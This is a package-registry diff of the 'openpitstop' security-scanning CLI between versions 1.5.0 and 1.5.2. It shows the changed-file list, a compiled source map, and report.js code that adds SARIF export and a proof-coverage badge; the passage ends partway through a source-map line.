openpitstop 1.5.0 → 1.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +27 -0
- package/demo/web-app-broken/.pitstop/cache/jest/haste-map-09bbba084113da9182b28b169fd19719-a1b56e2f04426a89a1864d67162ba1a1-48d4752caf3bc581fc945eb44175e230 +0 -0
- package/demo/web-app-broken/.pitstop/cache/jest/jest-transform-cache-09bbba084113da9182b28b169fd19719-79ef2876fae7ca75eedb2aa53dc48338/5e/config_5ea59c6b3000eadfbaecbc2e78a03802 +113 -0
- package/demo/web-app-broken/.pitstop/cache/jest/jest-transform-cache-09bbba084113da9182b28b169fd19719-79ef2876fae7ca75eedb2aa53dc48338/5e/config_5ea59c6b3000eadfbaecbc2e78a03802.map +1 -0
- package/demo/web-app-broken/.pitstop/cache/jest/perf-cache-09bbba084113da9182b28b169fd19719-da39a3ee5e6b4b0d3255bfef95601890 +1 -1
- package/demo/web-app-broken/.pitstop/pen/run-2026-08-18T06-12-11-576Z/app.out.log +22 -0
- package/demo/web-app-broken/.pitstop/pen-2026-08-18T06-12-11-787Z.json +162 -0
- package/demo/web-app-broken/.pitstop/pen-latest.json +162 -0
- package/demo/web-app-broken/.pitstop/verify-2026-08-18T06-11-59-327Z.json +73 -0
- package/demo/web-app-broken/PITSTOP_BADGE.svg +12 -0
- package/dist/commands/pen.js +29 -1
- package/dist/commands/pen.js.map +1 -1
- package/dist/commands/report.js +17 -1
- package/dist/commands/report.js.map +1 -1
- package/dist/commands/verify.d.ts +3 -0
- package/dist/commands/verify.js +53 -21
- package/dist/commands/verify.js.map +1 -1
- package/dist/pen/drift.d.ts +16 -0
- package/dist/pen/drift.js +69 -0
- package/dist/pen/drift.js.map +1 -0
- package/dist/pen/dynamic.js +130 -3
- package/dist/pen/dynamic.js.map +1 -1
- package/dist/pen/proof.js +6 -0
- package/dist/pen/proof.js.map +1 -1
- package/dist/pen/report.js +90 -2
- package/dist/pen/report.js.map +1 -1
- package/dist/pen/static.js +120 -0
- package/dist/pen/static.js.map +1 -1
- package/dist/pen/types.d.ts +32 -0
- package/dist/pen/types.js.map +1 -1
- package/dist/report/format.d.ts +16 -0
- package/dist/report/format.js +62 -9
- package/dist/report/format.js.map +1 -1
- package/dist/report/sarif.d.ts +29 -0
- package/dist/report/sarif.js +161 -0
- package/dist/report/sarif.js.map +1 -0
- package/dist/repro/pen.js +19 -0
- package/dist/repro/pen.js.map +1 -1
- package/dist/verify/honesty.d.ts +21 -0
- package/dist/verify/honesty.js +40 -0
- package/dist/verify/honesty.js.map +1 -0
- package/package.json +1 -1
package/dist/commands/pen.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"pen.js","sourceRoot":"","sources":["../../src/commands/pen.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AACpC,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,EAAE,aAAa,EAAE,MAAM,kBAAkB,CAAC;AACjD,OAAO,EAAE,UAAU,EAAE,MAAM,mBAAmB,CAAC;AAC/C,OAAO,EAAE,gBAAgB,EAAE,MAAM,iBAAiB,CAAC;AACnD,OAAO,EAAE,UAAU,EAAE,MAAM,iBAAiB,CAAC;
|
|
1
|
+
{"version":3,"file":"pen.js","sourceRoot":"","sources":["../../src/commands/pen.ts"],"names":[],"mappings":"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"}
|
package/dist/commands/report.js
CHANGED
|
@@ -2,12 +2,14 @@ import { Command } from "commander";
|
|
|
2
2
|
import path from "node:path";
|
|
3
3
|
import fs from "node:fs";
|
|
4
4
|
import chalk from "chalk";
|
|
5
|
-
import { buildModel, renderTerminal, renderMarkdown, renderHtml } from "../report/format.js";
|
|
5
|
+
import { buildModel, renderTerminal, renderMarkdown, renderHtml, renderProofBadgeSvg } from "../report/format.js";
|
|
6
6
|
import { computeScore, renderBadgeSvg } from "../report/score.js";
|
|
7
|
+
import { buildSarif } from "../report/sarif.js";
|
|
7
8
|
export const report = new Command("report")
|
|
8
9
|
.description("Generate a repository analysis report from scan/verify history")
|
|
9
10
|
.argument("[repo]", "path to the repo to report on", ".")
|
|
10
11
|
.option("--html", "also write a self-contained PITSTOP_REPORT.html (zero external assets)")
|
|
12
|
+
.option("--sarif", "also write PITSTOP_REPORT.sarif — upload to GitHub code scanning (Security tab)")
|
|
11
13
|
.option("--badge-json", "also write PITSTOP_BADGE.json — a shields.io `endpoint`-schema badge you can host " +
|
|
12
14
|
"(https://img.shields.io/endpoint?url=<hosted.json>)")
|
|
13
15
|
.action(async (repoArg, options) => {
|
|
@@ -38,7 +40,21 @@ export const report = new Command("report")
|
|
|
38
40
|
chalk.dim(` host it and use: https://img.shields.io/endpoint?url=<url>/PITSTOP_BADGE.json\n`));
|
|
39
41
|
}
|
|
40
42
|
}
|
|
43
|
+
// Proof-coverage badge — the "we prove, not just report" signal for README/CI.
|
|
44
|
+
if (model.proofCoverage?.hasPen) {
|
|
45
|
+
const proofBadge = path.join(repo, "PITSTOP_PROOF.svg");
|
|
46
|
+
fs.writeFileSync(proofBadge, renderProofBadgeSvg(model.proofCoverage.pct));
|
|
47
|
+
console.log(chalk.dim(`Proof-coverage badge written to ${proofBadge}`) +
|
|
48
|
+
chalk.dim(` — embed: \n`));
|
|
49
|
+
}
|
|
41
50
|
console.log(chalk.dim(`\nReport written to ${mdPath}\n`));
|
|
51
|
+
if (options.sarif) {
|
|
52
|
+
const sarif = buildSarif(repo, model);
|
|
53
|
+
const sarifPath = path.join(repo, "PITSTOP_REPORT.sarif");
|
|
54
|
+
fs.writeFileSync(sarifPath, JSON.stringify(sarif, null, 2));
|
|
55
|
+
console.log(chalk.dim(`SARIF written to ${sarifPath}`) +
|
|
56
|
+
chalk.dim(` — upload to GitHub: gh api /repos/<owner>/<repo>/code-scanning/sarifs\n`));
|
|
57
|
+
}
|
|
42
58
|
if (options.html) {
|
|
43
59
|
const htmlPath = path.join(repo, "PITSTOP_REPORT.html");
|
|
44
60
|
fs.writeFileSync(htmlPath, renderHtml(model));
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"report.js","sourceRoot":"","sources":["../../src/commands/report.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,OAAO,EAAE,MAAM,WAAW,CAAC;AACpC,OAAO,IAAI,MAAM,WAAW,CAAC;AAC7B,OAAO,EAAE,MAAM,SAAS,CAAC;AACzB,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,EAAE,UAAU,EAAE,cAAc,EAAE,cAAc,EAAE,UAAU,EAAE,MAAM,qBAAqB,CAAC;
|
|
1
|
+
{"version":3,"file":"report.js","sourceRoot":"","sources":["../../src/commands/report.ts"],"names":[],"mappings":"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